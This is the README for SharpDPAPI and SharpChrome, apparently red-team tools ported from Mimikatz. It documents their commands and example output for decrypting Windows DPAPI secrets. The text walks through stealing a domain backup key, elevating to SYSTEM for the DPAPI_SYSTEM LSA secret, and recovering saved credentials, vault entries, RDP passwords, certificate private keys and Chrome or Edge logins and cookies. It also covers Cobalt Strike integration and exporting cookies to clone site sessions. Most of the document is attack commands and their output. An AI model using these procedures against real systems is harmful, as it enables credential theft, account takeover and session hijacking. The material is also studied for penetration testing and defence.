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README.md

SharpDPAPI


SharpDPAPI is a C# port of some DPAPI functionality from @gentilkiwi's Mimikatz project.

I did not come up with this logic, it is simply a port from Mimikatz in order to better understand the process and operationalize it to fit our workflow.

The SharpChrome subproject is an adaptation of work from @gentilkiwi and @djhohnstein, specifically his SharpChrome project. However, this version of SharpChrome uses a different version of the C# SQL library that supports lockless opening. SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.

Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.

SharpChrome also uses an minimized version of @AArnott's BCrypt P/Invoke code released under the MIT License.

If you're unfamiliar with DPAPI, check out this post for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's wiki entry on the subject.

@harmj0y is the primary author of this port.

SharpDPAPI is licensed under the BSD 3-Clause license.

Table of Contents

Background

SharpDPAPI Command Line Usage

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.9.0



Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

  SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk]


The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:

    search /type:registry [/path:HKLM\path\to\key] [/showErrors]
    search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
    search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
    search /type:base64 [/base:<base64 string>]


Machine/SYSTEM Triage:

    machinemasterkeys       -   triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
    machinecredentials      -   use 'machinemasterkeys' and then triage machine Credential files
    machinevaults           -   use 'machinemasterkeys' and then triage machine Vaults
    machinecerts            -   use 'machinemasterkeys' and then triage machine certificate stores
    machinetriage           -   run the 'machinecredentials' and 'machinevaults' commands


User Triage:

    Triage all reachable user masterkey files, use a domain backup key to decrypt all that are found:

      SharpDPAPI masterkeys </pvk:BASE64... | /pvk:key.pvk>


    Arguments for the certificates|credentials|vaults|rdg|triage|blob|ps commands:

        Decryption:
            /unprotect          -   force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
            /password:X         -   first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
            GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
            /mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption
            /pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
            /pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys

        Targeting:
            /target:FILE/folder -   triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder
            /server:SERVER      -   triage a remote server, assuming admin access
                                    Note: must use with /pvk:KEY
                                    Note: not applicable to 'blob' or 'ps' commands


Note: in most cases, just use *triage* if you're targeting user DPAPI secrets and *machinetriage* if you're going after SYSTEM DPAPI secrets.
      These functions wrap all the other applicable functions that can be automatically run.

SharpChrome Command Line Usage

  __                 _
 (_  |_   _. ._ ._  /  |_  ._ _  ._ _   _
 __) | | (_| |  |_) \_ | | | (_) | | | (/_
                |
  v1.9.0


Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:

  SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk]


Global arguments for the 'cookies', 'logins', and 'statekeys' commands:

    Decryption:
        /unprotect          -   force use of CryptUnprotectData() (default for unprivileged execution)
        /password:X         -   first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
        GUID1:SHA1 ...      -   use a one or more GUID:SHA1 masterkeys for decryption
        /mkfile:FILE        -   use a file of one or more GUID:SHA1 masterkeys for decryption
        /pvk:BASE64...      -   use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
        /pvk:key.pvk        -   use a DPAPI domain private key file to first decrypt reachable user masterkeys
        /statekey:X         -   a decrypted AES state key (from the 'statekeys' command)

    Targeting:
        /target:FILE        -   triage a specific 'Cookies', 'Login Data', or 'Local State' file location
        /server:SERVER      -   triage a remote server, assuming admin access (note: must use with /pvk:KEY)
        /browser:X          -   triage 'chrome' (the default) or (chromium-based) 'edge'

    Output:
        /format:X           -   either 'csv' (default) or 'table' display
        /showall            -   show Login Data entries with null passwords and expired Cookies instead of filtering (default)
        /consoleoutfile:X   -   output all console output to a file on disk


'cookies' command specific arguments:

        /cookie:"REGEX"     -   only return cookies where the cookie name matches the supplied regex
        /url:"REGEX"        -   only return cookies where the cookie URL matches the supplied regex
        /format:json        -   output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
        /setneverexpire     -   set expirations for cookies output to now + 100 years (for json output)

Operational Usage

SharpDPAPI

One of the goals with SharpDPAPI is to operationalize Benjamin's DPAPI work in a way that fits with our workflow.

How exactly you use the toolset will depend on what phase of an engagement you're in. In general this breaks into "have I compromised the domain or not".

If domain admin (or equivalent) privileges have been obtained, the domain DPAPI backup key can be retrieved with the backupkey command (or with Mimikatz). This domain private key never changes, and can decrypt any DPAPI masterkeys for domain users. This means, given a domain DPAPI backup key, an attacker can decrypt masterkeys for any domain user that can then be used to decrypt any Vault/Credentials/Chrome Logins/other DPAPI blobs/etc. The key retrieved from the backupkey command can be used with the masterkeys, credentials, vaults, rdg, or triage commands.

If DA privileges have not been achieved, using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to the credentials, vaults, rdg, or triage commands. This lets you triage all Credential files/Vaults on a system for any user who's currently logged in, without having to do file-by-file decrypts.

For decrypting RDG/RDCMan.settings files with the rdg command, the /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

For machine-specific DPAPI triage, the machinemasterkeys|machinecredentials|machinevaults|machinetriage commands will do the machine equivalent of user DPAPI triage. If in an elevated context (that is, you need local administrative rights), SharpDPAPI will elevate to SYSTEM privileges to retrieve the "DPAPI_SYSTEM" LSA secret, which is then used to decrypt any discovered machine DPAPI masterkeys. These keys are then used as lookup tables for machine credentials/vaults/etc.

For more offensive DPAPI information, check here.

SharpChrome

SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of cookies and logins decryption/triage. It is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.

Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A /pvk:[BASE64|file.pvk], {GUID}:SHA1 lookup table, /password:X, or /mkfile:FILE of {GUID}:SHA1 values can also be used to decrypt values. Also, the C# SQL library used (with a few modifications) supports lockless opening, meaning that Chrome does not have to be closed/target files do not have to be copied to another location.

If Chrome is version 80+, an AES state key is stored in AppData\Local\Google\Chrome\User Data\Local State - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when /browser:edge is specified, for newer Chromium-based Edge browser triage.

By default, cookies and logins are displayed as a csv - this can be changed with /format:table for table output, and /format:json for cookies specifically. The json option outputs cookies in a json format that can be imported into the EditThisCookie Chrome extension for easy reuse.

The cookies command also has /cookie:REGEX and /url:REGEX arguments to only return cookie names or urls matching the supplied regex. This is useful with /format:json to easily clone access to specific sites.

Cobalt Strike Usage

SharpDPAPI has an Aggressor script (SharpDPAPI.cna) that automates the usage of SharpDPAPI through Cobalt Strike. Before usage, replace $SharpDPAPI::AssemblyPath in the .cna with the location of your compiled SharpDPAPI assembly.

Loading SharpDPAPI.cna will register a new sharpDPAPI Beacon command. If beacon> sharpDPAPI -dump is run, the current Beacon will execute sekurlsa::dpapi Mimikatz command to extract any DPAPI keys from LSASS (assuming elevation) followed by dpapi::cache to display the {GUID}:SHA1 mappings. The decrypted master key SHA1s are stored in the credential store.

Running beacon> sharpDPAPI will execute SharpDPAPI with the triage command with any GUID:SHA1 masterkey mappings extracted for that host. This allows for effective triage of all Credentials and Vaults on a host for any currently logged in users.

TODO: implement machine key triage functions in SharpDPAPI.cna

SharpDPAPI Commands

User Triage

masterkeys

The masterkeys command will search for any readable user masterkey files and decrypt them using a supplied domain DPAPI backup key. It will return a set of masterkey {GUID}:SHA1 mappings.

The domain backup key can be in base64 form (/pvk:BASE64...) or file form (/pvk:key.pvk).

C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...

credentials

The credentials command will search for Credential files and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific credential file (or folder of credentials) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

If run from an elevated context, Credential files for ALL users will be triaged, otherwise only Credential files for the current user will be processed.

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

  ...(snip)...

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Credential Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Credentials for ALL users


Folder       : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\

  CredFile           : 48C08A704ADBA03A93CD7EC5B77C0EAB

    guidMasterKey    : {885342c6-028b-4ecf-82b2-304242e769e0}
    size             : 436
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      : Local Credential Data

    LastWritten      : 1/22/2019 2:44:40 AM
    TargetName       : Domain:target=TERMSRV/10.4.10.101
    TargetAlias      :
    Comment          :
    UserName         : DOMAIN\user
    Credential       : Password!

...(snip)...

vaults

The vaults command will search for Vaults and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The Policy.vpol folder in the Vault folder is decrypted with any supplied DPAPI keys to retrieve the associated AES decryption keys, which are then used to decrypt any associated .vcrd files.

A specific vault folder can be specified with /target:C:\Folder\. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging Vaults for ALL users


[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 10/12/2018 12:10:42 PM
    FriendlyName     : Internet Explorer
    Identity         : admin
    Resource         : https://10.0.0.1/
    Authenticator    : Password!

...(snip)...

Using a domain DPAPI backup key with a folder specified (i.e. "offline" triage):

C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: User DPAPI Vault Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Target Vault Folder: C:\Temp\test\


[*] Triaging Vault folder: C:\Temp\test\

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
    size             : 240
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32772/26115
    description      :
    aes128 key       : EDB42294C0721F2F1638A40F0CD67CD8
    aes256 key       : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793

    LastWritten      : 3/20/2019 6:03:50 AM
    FriendlyName     : Internet Explorer
    Identity         : account
    Resource         : http://www.abc.com/
    Authenticator    : password

rdg

The rdg command will search for RDCMan.settings files for the current user (or if elevated, all users) and either a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

The /unprotect flag will use CryptUnprotectData() to decrypt any saved RDP passwords, if the command is run from the user context who saved the passwords. This can be done from an unprivileged context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's documentation here.

A specific RDCMan.settings file, .RDC file (or folder of .RDG files) can be specified with /target:FILE or /target:C:\Folder\. If a file is specified, {GUID}:SHA1 values (or /unprotect) are required, and if a folder is specified either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

This command will decrypt any saved password information from both the RDCMan.settings file and any .RDG files referenced by the RDCMan.settings file.

Using /unprotect to decrypt any found passwords:

C:\Temp>SharpDPAPI.exe rdg /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe rdg {8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

certificates

The certificates command will search user encrypted DPAPI certificate private keys a) decrypt them with any "{GUID}:SHA1" masterkeys passed, b) a /mkfile:FILE of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (/pvk:BASE64... or /pvk:key.pvk) to first decrypt any user masterkeys (a la masterkeys), or d) a /password:X to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' sekurlsa::dpapi command.

A specific certificiate can be specified with /target:C:\Folder\. In this case, either a) {GUID}:SHA1 values must be supplied or b) the folder must contain DPAPI masterkeys and a /pvk domain backup key must be supplied.

Using domain {GUID}:SHA1 masterkey mappings:

C:\Temp>SharpDPAPI.exe certificates {2fd105b7-ec31-4f33-969e-f57c16d8e718}:79097C8...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.7.0


[*] Action: Cert Triage

Certificate file           : 824020b98d4a03d0d23392fb673067eb_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Private Key GUID    : {DEB1D7E1-DA7B-4C99-A8F1-F1A532B4BA0E}
    Magic Header: RSA1
    Len1: 264
    Bitlength: 2048
    UNK: 255
    Pubexp: 65537
    GuidProvider GUID is {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID is {2fd105b7-ec31-4f33-969e-f57c16d8e718}
    Description: CryptoAPI Private Key
    algCrypt: CALG_3DES
    keyLen: 192
    Salt: d58a77d4b817a366a179b1eaa5b9f797
    algHash: CALG_SHA
    Hashlen: 160
    HMAC: e4fa2d8144af651a86de20efa5771d20

[*] Private key file 824020b98d4a03d0d23392fb673067eb_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered

[*] PKCS1 Private key

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAtt/LpUFCjeE2YBmwvhkAI2R8DfX...(snip)...
-----END RSA PRIVATE KEY-----

[*] Certificate

-----BEGIN CERTIFICATE-----
MIIC1jCCAb6gAwIBAgIQfSNOUmInprRC0lEVt7u...(snip)...
-----END CERTIFICATE-----

Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:

C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.7.0


[*] Action: Cert Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{2fd105b7-ec31-4f33-969e-f57c16d8e718}:79097C8...
...(snip)...

Certificate file           : 824020b98d4a03d0d23392fb673067eb_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Private Key GUID    : {DEB1D7E1-DA7B-4C99-A8F1-F1A532B4BA0E}
    Magic Header: RSA1
    Len1: 264
    Bitlength: 2048
    UNK: 255
    Pubexp: 65537
    GuidProvider GUID is {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID is {2fd105b7-ec31-4f33-969e-f57c16d8e718}
    Description: CryptoAPI Private Key
    algCrypt: CALG_3DES
    keyLen: 192
    Salt: d58a77d4b817a366a179b1eaa5b9f797
    algHash: CALG_SHA
    Hashlen: 160
    HMAC: e4fa2d8144af651a86de20efa5771d20

[*] Private key file 824020b98d4a03d0d23392fb673067eb_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered

[*] PKCS1 Private key

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAtt/LpUFCjeE2YBmwvhkAI2R8DfX...(snip)...
-----END RSA PRIVATE KEY-----

[*] Certificate

-----BEGIN CERTIFICATE-----
MIIC1jCCAb6gAwIBAgIQfSNOUmInprRC0lEVt7u...(snip)...
-----END CERTIFICATE-----

triage

The triage command runs the user credentials, vaults, rdg, and certificates commands.

Machine Triage

machinemasterkeys

The machinemasterkeys command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

The machinecredentials command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Credential files.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

The machinevaults command will elevated to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret which is then used to decrypt any found machine DPAPI masterkeys. These keys are then used to decrypt any found machine Vaults.

Local administrative rights are needed (so we can retrieve the DPAPI_SYSTEM LSA secret).

C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


